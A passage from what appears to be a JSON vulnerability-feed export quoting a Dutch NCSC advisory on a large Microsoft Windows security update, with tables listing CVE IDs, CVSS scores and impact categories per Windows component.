CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:00.322872Z"}, {"uuid": "2826a37c-ad8d-41ef-8ca5-605b2bfe4c4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54995", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | 